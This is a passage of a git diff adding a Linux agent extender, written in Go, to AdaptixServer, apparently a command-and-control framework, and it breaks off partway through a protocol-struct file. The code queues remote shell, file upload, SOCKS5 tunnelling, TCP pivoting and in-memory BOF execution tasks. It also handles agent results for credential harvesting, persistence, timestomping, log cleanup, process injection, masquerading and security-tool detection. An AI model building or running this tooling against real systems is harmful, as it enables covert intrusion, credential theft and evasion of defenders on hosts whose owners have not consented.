src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMv{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_MV, Data: packerData} + + case "mkdir": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMkdir{Path: path}) + cmd = Command{Code: COMMAND_MKDIR, Data: packerData} + + case "ps": + cmd = Command{Code: COMMAND_PS, Data: nil} + + case "pwd": + cmd = Command{Code: COMMAND_PWD, Data: nil} + + case "rm": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsRm{Path: path}) + cmd = Command{Code: COMMAND_RM, Data: packerData} + + case "run": + taskData.Type = adaptix.TASK_TYPE_JOB + + prog, err := getStringArg(args, "program") + if err != nil { + goto RET + } + runArgs, _ := args["args"].(string) + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + cmdArgs, _ := shlex.Split(runArgs) + packerData, _ := msgpack.Marshal(ParamsRun{Program: prog, Args: cmdArgs, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_RUN, Data: packerData} + + case "shell": + cmdParam, err := getStringArg(args, "cmd") + if err != nil { + goto RET + } + + // Linux: use /bin/sh (most portable) + cmdArgs := []string{"-c", cmdParam} + packerData, _ := msgpack.Marshal(ParamsShell{Program: "/bin/sh", Args: cmdArgs}) + cmd = Command{Code: COMMAND_SHELL, Data: packerData} + + case "socks": + taskData.Type = adaptix.TASK_TYPE_TUNNEL + + portNumber, ok := args["port"].(float64) + port := int(portNumber) + if ok { + if port < 1 || port > 65535 { + err = errors.New("port must be from 1 to 65535") + goto RET + } + } + if subcommand == "start" { + address, err := getStringArg(args, "address") + if err != nil { + goto RET + } + + auth := getBoolArg(args, "-a") + if auth { + username, err := getStringArg(args, "username") + if err != nil { + goto RET + } + password, err := getStringArg(args, "password") + if err != nil { + goto RET + } + + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password) + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port) + + } else { + tunnelId, err2 := Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "") + if err2 != nil { + err = err2 + goto RET + } + taskData.TaskId, err2 = Ts.TsTunnelStart(tunnelId) + if err2 != nil { + err = err2 + goto RET + } + + taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port) + } + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.ClearText = "\n" + + } else if subcommand == "stop" { + taskData.Completed = true + + Ts.TsTunnelStopSocks(agentData.Id, port) + + taskData.MessageType = adaptix.MESSAGE_SUCCESS + taskData.Message = "Socks5 server has been stopped" + taskData.ClearText = "\n" + + } else { + err = errors.New("subcommand must be 'start' or 'stop'") + goto RET + } + + case "upload": + remote_path, err := getStringArg(args, "remote_path") + if err != nil { + goto RET + } + localFile, err := getStringArg(args, "local_file") + if err != nil { + goto RET + } + + fileContent, decodeErr := base64.StdEncoding.DecodeString(localFile) + if decodeErr != nil { + err = decodeErr + goto RET + } + + zipContent, zipErr := ZipBytes(fileContent, remote_path) + if zipErr != nil { + err = zipErr + goto RET + } + + chunkSize := 0x500000 + bufferSize := len(zipContent) + + inTaskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + Sync: false, + } + + for start := 0; start < bufferSize; start += chunkSize { + fin := start + chunkSize + finish := false + if fin >= bufferSize { + fin = bufferSize + finish = true + } + + inPackerData, _ := msgpack.Marshal(ParamsUpload{ + Path: remote_path, + Content: zipContent[start:fin], + Finish: finish, + }) + inCmd := Command{Code: COMMAND_UPLOAD, Data: inPackerData} + + if finish { + cmd = inCmd + break + + } else { + inTaskData.Data, _ = msgpack.Marshal(inCmd) + inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32()) + + Ts.TsTaskCreate(agentData.Id, "", "", inTaskData) + } + } + + case "link": + // TCP pivot — connect to child agent + target, err := getStringArg(args, "target") + if err != nil { + goto RET + } + portF, err := getFloatArg(args, "port") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsLink{Address: target, Port: int(portF)}) + cmd = Command{Code: COMMAND_LINK, Data: packerData} + + case "unlink": + pivotName, err := getStringArg(args, "id") + if err != nil { + goto RET + } + pivotId, _, _ := Ts.TsGetPivotInfoByName(pivotName) + if pivotId == "" { + err = fmt.Errorf("pivot %s does not exist", pivotName) + goto RET + } + id, _ := strconv.ParseUint(pivotId, 16, 64) + packerData, _ := msgpack.Marshal(ParamsUnlink{PivotId: uint32(id)}) + cmd = Command{Code: COMMAND_UNLINK, Data: packerData} + + case "execute": + if subcommand == "bof" { + taskData.Type = adaptix.TASK_TYPE_JOB + + bofFile, err := getStringArg(args, "bof") + if err != nil { + goto RET + } + bofContent, err := base64.StdEncoding.DecodeString(bofFile) + if err != nil { + goto RET + } + + var params []byte + paramData, ok := args["param_data"].(string) + if ok { + params, err = base64.StdEncoding.DecodeString(paramData) + if err != nil { + params = []byte(paramData) + } + } + + packerData, _ := msgpack.Marshal(ParamsBof{ + Content: bofContent, + Args: params, + EntryFunc: "go", + }) + + asyncFlag := getBoolArg(args, "async") + if asyncFlag { + cmd = Command{Code: COMMAND_EXEC_BOF_ASYNC, Data: packerData} + } else { + cmd = Command{Code: COMMAND_EXEC_BOF, Data: packerData} + } + } else { + err = errors.New("subcommand must be 'bof'") + goto RET + } + + default: + err = errors.New(fmt.Sprintf("Command '%v' not found", command)) + goto RET + } + + taskData.Data, _ = msgpack.Marshal(cmd) + +RET: + return taskData, messageData, err +} + +func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error { + var outTasks []adaptix.TaskData + + taskData := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + AgentId: agentData.Id, + FinishDate: time.Now().Unix(), + MessageType: adaptix.MESSAGE_SUCCESS, + Completed: true, + Sync: true, + } + + var ( + inMessage Message + cmd Command + job Job + ) + + err := msgpack.Unmarshal(decryptedData, &inMessage) + if err != nil { + return errors.New("failed to unmarshal message") + } + + if inMessage.Type == 1 { + + for _, cmdBytes := range inMessage.Object { + err = msgpack.Unmarshal(cmdBytes, &cmd) + if err != nil { + continue + } + + TaskId := cmd.Id + commandId := cmd.Code + task := taskData + task.TaskId = fmt.Sprintf("%08x", TaskId) + + switch commandId { + + case COMMAND_CAT: + var params AnsCat + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("'%v' file content:", params.Path) + task.ClearText = string(params.Content) + + case COMMAND_CD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_CP: + task.Message = "Object copied successfully" + + case COMMAND_PWD: + var params AnsPwd + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Current working directory:" + task.ClearText = params.Path + + case COMMAND_KILL: + task.Message = "Process killed" + + case COMMAND_GETUID: + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "User info:" + task.ClearText = params.Output + + case COMMAND_ENV: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Environment variables:" + task.ClearText = params.Output + + case COMMAND_NETSTAT: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Network connections:" + task.ClearText = params.Output + + case COMMAND_MOUNTS: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Mount points:" + task.ClearText = params.Output + + case COMMAND_EDR: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Security tool detection:" + task.ClearText = params.Output + + case COMMAND_CREDS: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Credential harvest:" + task.ClearText = params.Output + + case COMMAND_PERSIST: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Persistence:" + task.ClearText = params.Output + + case COMMAND_CONTAINER: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Container/Cloud info:" + task.ClearText = params.Output + + case COMMAND_MASQUERADE: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Process masquerade:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_TIMESTOMP: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Timestomp:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_CLEANLOG: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Log cleanup:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_INJECT: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Process injection:" + task.ClearText = ans.Output + task.MessageType = adaptix.MESSAGE_SUCCESS + + case COMMAND_MIGRATE: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var ans AnsShell + if err := msgpack.Unmarshal(cmd.Data, &ans); err != nil { + continue + } + task.Message = "Migration:" + task.ClearText = ans.Output + + case COMMAND_LINK: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Link failed:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + var params AnsLink + if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil { + continue + } + // params.Beat contains the child agent's encrypted init data + // params.Watermark is the child's watermark identifier + watermark := fmt.Sprintf("%08x", params.Watermark) + childAgentId, linkErr := Ts.TsListenerInteralHandler(watermark, params.Beat) + if linkErr != nil || childAgentId == "" { + task.Message = fmt.Sprintf("Link failed: listener handler error for watermark %s", watermark) + task.MessageType = adaptix.MESSAGE_ERROR + break + } + _ = Ts.TsPivotCreate(task.TaskId, agentData.Id, childAgentId, "", false) + + task.Message = fmt.Sprintf("----- New TCP pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId) + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, task.Message, "\n", true) + + case COMMAND_UNLINK: + var params AnsUnlink + if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil { + continue + } + + pivotId := fmt.Sprintf("%08x", params.PivotId) + pivotType := params.Type + + _, parentAgentId, childAgentId := Ts.TsGetPivotInfoById(pivotId) + + messageParent := "" + messageChild := "" + if pivotType == 2 { + messageParent = fmt.Sprintf("TCP agent %s connection reset", childAgentId) + messageChild = " ----- TCP agent connection reset ----- " + } else if pivotType == 10 { + messageParent = fmt.Sprintf("Pivot agent %s connection reset", childAgentId) + messageChild = " ----- Pivot agent connection reset ----- " + } + + if pivotType != 0 { + _ = Ts.TsPivotDelete(pivotId) + if TaskId == 0 { + // Auto-disconnect from process_pivots — no task to update + Ts.TsAgentConsoleOutput(parentAgentId, adaptix.MESSAGE_SUCCESS, messageParent, "\n", true) + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, messageChild, "\n", true) + continue + } else { + task.Message = messageParent + } + Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, messageChild, "\n", true) + } + + case COMMAND_PIVOT_EXEC: + var params AnsPivotExec + if err := msgpack.Unmarshal(cmd.Data, ¶ms); err != nil { + continue + } + pivotId := fmt.Sprintf("%08x", params.PivotId) + _, _, childAgentId := Ts.TsGetPivotInfoById(pivotId) + _ = Ts.TsAgentProcessData(childAgentId, params.Data) + continue // silent relay — no task output + + case COMMAND_EXEC_BOF: + var bofOut AnsBofOutput + if err := msgpack.Unmarshal(cmd.Data, &bofOut); err != nil { + task.Message = "BOF finished" + task.Completed = true + break + } + switch bofOut.Type { + case BOF_ERROR_PARSE: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Parse BOF error: " + bofOut.Output + case BOF_ERROR_SYMBOL: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Symbol not found: " + bofOut.Output + case BOF_ERROR_ENTRY: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Entry function not found" + case BOF_ERROR_ALLOC: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Error allocation of BOF memory" + case BOF_ERROR_RELOC: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = "Relocation failed: " + bofOut.Output + case CALLBACK_ERROR: + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF output" + task.ClearText = bofOut.Output + default: + task.MessageType = adaptix.MESSAGE_SUCCESS + task.Message = "BOF output" + task.ClearText = bofOut.Output + } + + case COMMAND_EXEC_BOF_ASYNC: + task.Message = "Async BOF started" + task.Completed = false + + case COMMAND_EXIT: + task.Message = "The agent has completed its work (kill process)" + _ = Ts.TsAgentTerminate(agentData.Id, task.TaskId) + + case COMMAND_JOB_LIST: + var params AnsJobList + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var jobList []JobInfo + err = msgpack.Unmarshal(params.List, &jobList) + if err != nil { + continue + } + + Output := "" + if len(jobList) > 0 { + Output += fmt.Sprintf(" %-10s %-13s\n", "JobID", "Type") + Output += fmt.Sprintf(" %-10s %-13s", "--------", "-------") + + for _, value := range jobList { + stringType := "Unknown" + if value.JobType == 0x2 { + stringType = "Download" + } else if value.JobType == 0x3 { + stringType = "Process" + } + + Output += fmt.Sprintf("\n %-10v %-13s", value.JobId, stringType) + } + + task.Message = "Job list:" + task.ClearText = Output + } else { + task.Message = "No active jobs" + } + + case COMMAND_JOB_KILL: + task.Message = "Job killed" + + case COMMAND_LS: + var params AnsLs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var items []adaptix.ListingFileDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Files []FileInfo + err := msgpack.Unmarshal(params.Files, &Files) + if err != nil { + continue + } + + filesCount := len(Files) + if filesCount == 0 { + task.Message = fmt.Sprintf("The '%s' directory is EMPTY", params.Path) + } else { + + modeFsize := 1 + lnkFsize := 1 + userFsize := 1 + groupFsize := 1 + sizeFsize := 1 + dateFsize := 1 + + for _, f := range Files { + val := fmt.Sprintf("%d", f.Nlink) + if len(val) > lnkFsize { + lnkFsize = len(val) + } + val = fmt.Sprintf("%d", f.Size) + if len(val) > sizeFsize { + sizeFsize = len(val) + } + if len(f.Mode) > modeFsize { + modeFsize = len(f.Mode) + } + if len(f.User) > userFsize { + userFsize = len(f.User) + } + if len(f.Group) > groupFsize { + groupFsize = len(f.Group) + } + if len(f.Date) > dateFsize { + dateFsize = len(f.Date) + } + } + + format2 := fmt.Sprintf(" %%-%ds %%-%dd %%-%ds %%-%ds %%-%dd %%-%ds %%s", modeFsize, lnkFsize, userFsize, groupFsize, sizeFsize, dateFsize) + OutputText := "" + for _, fi := range Files { + OutputText += fmt.Sprintf("\n"+format2, fi.Mode, fi.Nlink, fi.User, fi.Group, fi.Size, fi.Date, fi.Filename) + + fileData := adaptix.ListingFileDataUnix{ + IsDir: fi.IsDir, + Mode: fi.Mode, + User: fi.User, + Group: fi.Group, + Size: fi.Size, + Date: fi.Date, + Filename: fi.Filename, + } + + items = append(items, fileData) + } + + task.Message = fmt.Sprintf("Listing '%s'", params.Path) + task.ClearText = OutputText + } + } + Ts.TsClientGuiFilesUnix(task, params.Path, items) + + case COMMAND_MKDIR: + task.Message = "Directory created successfully" + + case COMMAND_MV: + task.Message = "Object moved successfully" + + case COMMAND_PS: + var params AnsPs + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + + var proclist []adaptix.ListingProcessDataUnix + + if !params.Result { + task.Message = params.Status + task.MessageType = adaptix.MESSAGE_ERROR + } else { + var Processes []PsInfo + err := msgpack.Unmarshal(params.Processes, &Processes) + if err != nil { + continue + } + + procCount := len(Processes) + if procCount == 0 { + task.Message = "Failed to get process list" + task.MessageType = adaptix.MESSAGE_ERROR + break + } else { + pidFsize := 3 + ppidFsize := 4 + ttyFsize := 3 + contextFsize := 7 + processFsize := 7 + + for _, p := range Processes { + val := fmt.Sprintf("%d", p.Pid) + if len(val) > pidFsize { + pidFsize = len(val) + } + val = fmt.Sprintf("%d", p.Ppid) + if len(val) > ppidFsize { + ppidFsize = len(val) + } + if len(p.Tty) > ttyFsize { + ttyFsize = len(p.Tty) + } + if len(p.Context) > contextFsize { + contextFsize = len(p.Context) + } + if len(p.Process) > processFsize { + processFsize = len(p.Process) + } + + procData := adaptix.ListingProcessDataUnix{ + Pid: uint(p.Pid), + Ppid: uint(p.Ppid), + TTY: p.Tty, + Context: p.Context, + ProcessName: p.Process, + } + + proclist = append(proclist, procData) + } + + format := fmt.Sprintf(" %%-%dv %%-%dv %%-%ds %%-%ds %%-%ds", pidFsize, ppidFsize, ttyFsize, contextFsize, processFsize) + OutputText := fmt.Sprintf(format, "PID", "PPID", "TTY", "Context", "Process") + OutputText += fmt.Sprintf("\n"+format, "---", "----", "---", "-------", "-------") + + for _, p := range Processes { + OutputText += fmt.Sprintf("\n"+format, p.Pid, p.Ppid, p.Tty, p.Context, p.Process) + } + + task.Message = "Process list:" + task.ClearText = OutputText + } + } + Ts.TsClientGuiProcessUnix(task, proclist) + + case COMMAND_RM: + task.Message = "Object removed successfully" + + case COMMAND_SHELL: + var errResp AnsError + if merr := msgpack.Unmarshal(cmd.Data, &errResp); merr == nil && errResp.Error != "" { + task.Message = "Shell error:" + task.ClearText = errResp.Error + task.MessageType = adaptix.MESSAGE_ERROR + break + } + + var params AnsShell + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Shell command output:" + task.ClearText = params.Output + + case COMMAND_UPLOAD: + var params AnsUpload + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = fmt.Sprintf("File uploaded: %s", params.Path) + + case COMMAND_ERROR: + var params AnsError + err := msgpack.Unmarshal(cmd.Data, ¶ms) + if err != nil { + continue + } + task.Message = "Error:" + task.ClearText = params.Error + task.MessageType = adaptix.MESSAGE_ERROR + + case COMMAND_DOWNLOAD: + task.Message = "Download started" + task.Completed = false + + case COMMAND_RUN: + task.Message = "Process started (async)" + task.Completed = false + + // Tunnel MUX responses (transparent — no task UI, route directly to Ts*) + case COMMAND_TUNNEL_STATUS: + var params AnsTunnelStatus + if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil { + if params.Success { + Ts.TsTunnelConnectionResume(agentData.Id, params.ChannelId, false) + } else { + errorCode := adaptix.SOCKS5_HOST_UNREACHABLE + if params.Reason == 5 { // connection refused + errorCode = adaptix.SOCKS5_CONNECTION_REFUSED + } + Ts.TsTunnelConnectionHalt(params.ChannelId, errorCode) + } + } + continue + + case COMMAND_TUNNEL_DATA: + var params AnsTunnelData + if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil { + Ts.TsTunnelConnectionData(params.ChannelId, params.Data) + } + continue + + case COMMAND_TUNNEL_CLOSE: + var params AnsTunnelClose + if merr := msgpack.Unmarshal(cmd.Data, ¶ms); merr == nil { + Ts.TsTunnelConnectionClose(params.ChannelId, false) + } + continue + + // Agent backpressure responses (transparent) + case COMMAND_TUNNEL_PAUSE: + // Agent says: my write buffer is full, stop sending TUNNEL_WRITE + // The teamserver handles this via TsTunnelConnectionClose with writeOnly + continue + + case COMMAND_TUNNEL_RESUME: + // Agent says: write buffer drained, resume TUNNEL_WRITE + continue + + case COMMAND_TUNNEL_WRITE: + // This should never come from agent→teamserver, ignore + continue + + case COMMAND_TUNNEL_START: + task.Message = "Tunnel starting" + task.Completed = false + + case COMMAND_TUNNEL_STOP: + task.Message = "Tunnel stopped" + + case COMMAND_TERMINAL_START: + task.Message = "Terminal starting" + task.Completed = false + + case COMMAND_TERMINAL_STOP: + task.Message = "Terminal stopped" + + default: + task.Message = "Unknown response" + task.MessageType = adaptix.MESSAGE_ERROR + } + + outTasks = append(outTasks, task) + } + + } else if inMessage.Type == 2 { + + for _, jobBytes := range inMessage.Object { + + err = msgpack.Unmarshal(jobBytes, &job) + if err != nil { + continue + } + + commandId := job.CommandId + + switch commandId { + + case COMMAND_DOWNLOAD: + var params AnsDownload + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + fileId := fmt.Sprintf("%08x", params.FileId) + + if params.Start { + _ = Ts.TsDownloadAdd(agentData.Id, fileId, params.Path, int64(params.Size)) + } + + _ = Ts.TsDownloadUpdate(fileId, 1, params.Content) + + if params.Finish { + if params.Canceled { + _ = Ts.TsDownloadClose(fileId, 4) + } else { + _ = Ts.TsDownloadClose(fileId, 3) + } + } + + case COMMAND_RUN: + var params AnsRun + err := msgpack.Unmarshal(job.Data, ¶ms) + if err != nil { + continue + } + + task := taskData + task.TaskId = job.JobId + task.Completed = params.Finish + + if params.Start { + task.Completed = false + task.Message = fmt.Sprintf("Process started: PID = %d", params.Pid) + task.ClearText = "\n" + + } else if params.Finish { + task.Message = "Process finished" + task.ClearText = "\n" + + } else { + task.Completed = false + task.Message = "" + + if len(params.Stderr) > 0 { + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "Stderr:" + task.ClearText = params.Stderr + } + if len(params.Stdout) > 0 { + task.ClearText = params.Stdout + } + } + + outTasks = append(outTasks, task) + + // NOTE: Tunnel commands no longer come through Type 2 (Job). + // Tunnel MUX data flows in Type 1 (Command) via process_tunnels(). + + case COMMAND_TERMINAL_START, COMMAND_TERMINAL_STOP: + termTask := adaptix.TaskData{ + Type: adaptix.TASK_TYPE_PROXY_DATA, + AgentId: agentData.Id, + Data: job.Data, + Sync: false, + } + outTasks = append(outTasks, termTask) + + case COMMAND_EXEC_BOF_OUT: + var bofOut AnsBofOutput + if err := msgpack.Unmarshal(job.Data, &bofOut); err != nil { + continue + } + + task := taskData + task.TaskId = job.JobId + + if bofOut.Type == 0xFF { + // Sentinel: async BOF finished + task.Message = "Async BOF finished" + task.Completed = true + task.ClearText = "\n" + } else if bofOut.Type == CALLBACK_ERROR { + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF output" + task.ClearText = bofOut.Output + task.Completed = false + } else if bofOut.Type >= 0x100 { + // BOF error codes + task.MessageType = adaptix.MESSAGE_ERROR + task.Message = "BOF error" + task.ClearText = bofOut.Output + task.Completed = true + } else { + task.MessageType = adaptix.MESSAGE_SUCCESS + task.Message = "BOF output" + task.ClearText = bofOut.Output + task.Completed = false + } + + outTasks = append(outTasks, task) + } + } + } + + for _, task := range outTasks { + Ts.TsTaskUpdate(agentData.Id, task) + } + + _ = job + + return nil +} diff --git a/AdaptixServer/extenders/linux_agent/pl_utils.go b/AdaptixServer/extenders/linux_agent/pl_utils.go new file mode 100644 index 000000000..aa75878f7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_utils.go @@ -0,0 +1,515 @@ +package main + +import ( + "archive/zip" + "bytes" + "fmt" + "io" + "regexp" + "strconv" +) + +/// Protocol types — msgpack structs for agent communication +/// These are COPIED from macOS agent, not shared. +/// Any Linux-specific additions go here without affecting macOS/beacon/gopher. + +type Profile struct { + Type uint `msgpack:"type"` + ListenerWatermark uint `msgpack:"listener_watermark"` + Addresses []string `msgpack:"addresses"` + BannerSize int `msgpack:"banner_size"` + ConnTimeout int `msgpack:"conn_timeout"` + ConnCount int `msgpack:"conn_count"` + UseSSL bool `msgpack:"use_ssl"` + SslCert []byte `msgpack:"ssl_cert"` + SslKey []byte `msgpack:"ssl_key"` + CaCert []byte `msgpack:"ca_cert"` + BindPort int `msgpack:"bind_port"` +} + +type SessionInfo struct { + Process string `msgpack:"process"` + PID int `msgpack:"pid"` + User string `msgpack:"user"` + Host string `msgpack:"host"` + Ipaddr string `msgpack:"ipaddr"` + Elevated bool `msgpack:"elevated"` + Acp uint32 `msgpack:"acp"` + Oem uint32 `msgpack:"oem"` + Os string `msgpack:"os"` + OSVersion string `msgpack:"os_version"` + EncryptKey []byte `msgpack:"encrypt_key"` +} + +/// Message types + +type Message struct { + Type int8 `msgpack:"type"` + Object [][]byte `msgpack:"object"` +} + +type Command struct { + Code uint `msgpack:"code"` + Id uint `msgpack:"id"` + Data []byte `msgpack:"data"` +} + +type Job struct { + CommandId uint `msgpack:"command_id"` + JobId string `msgpack:"job_id"` + Data []byte `msgpack:"data"` +} + +/// Answer / Params structs + +type AnsError struct { + Error string `msgpack:"error"` +} + +type AnsPwd struct { + Path string `msgpack:"path"` +} + +type ParamsCd struct { + Path string `msgpack:"path"` +} + +type ParamsShell struct { + Program string `msgpack:"program"` + Args []string `msgpack:"args"` +} + +type AnsShell struct { + Output string `msgpack:"output"` +} + +type ParamsDownload struct { + Task string `msgpack:"task"` + Path string `msgpack:"path"` +} + +type AnsDownload struct { + FileId int `msgpack:"id"` + Path string `msgpack:"path"` + Size int `msgpack:"size"` + Content []byte `msgpack:"content"` + Start bool `msgpack:"start"` + Finish bool `msgpack:"finish"` + Canceled bool `msgpack:"canceled"` +} + +type ParamsUpload struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` + Finish bool `msgpack:"finish"` +} + +type AnsUpload struct { + Path string `msgpack:"path"` +} + +type ParamsCat struct { + Path string `msgpack:"path"` +} + +type AnsCat struct { + Path string `msgpack:"path"` + Content []byte `msgpack:"content"` +} + +type ParamsCp struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMv struct { + Src string `msgpack:"src"` + Dst string `msgpack:"dst"` +} + +type ParamsMkdir struct { + Path string `msgpack:"path"` +} + +type ParamsRm struct { + Path string `msgpack:"path"` +} + +type ParamsLs struct { + Path string `msgpack:"path"` +} + +type FileInfo struct { + Mode string `msgpack:"mode"` + Nlink int `msgpack:"nlink"` + User string `msgpack:"user"` + Group string `msgpack:"group"` + Size int64 `msgpack:"size"` + Date string `msgpack:"date"` + Filename string `msgpack:"filename"` + IsDir bool `msgpack:"is_dir"` +} + +type AnsLs struct { + Result bool `msgpack:"result"` + Status string `msgpack:"status"` + Path string `msgpack:"path"` + Files []byte `msgpack:"files"` +} + +type PsInfo struct { + Pid int `msgpack:"pid"` + Ppid int `msgpack:"ppid"` + Tty string `msgpack:"tty"` + Context string `msgpack:"context"` + Process string `msgpack:"process"` +} + +type AnsPs struct { + Result bool `msgpack:"result"` + Status string 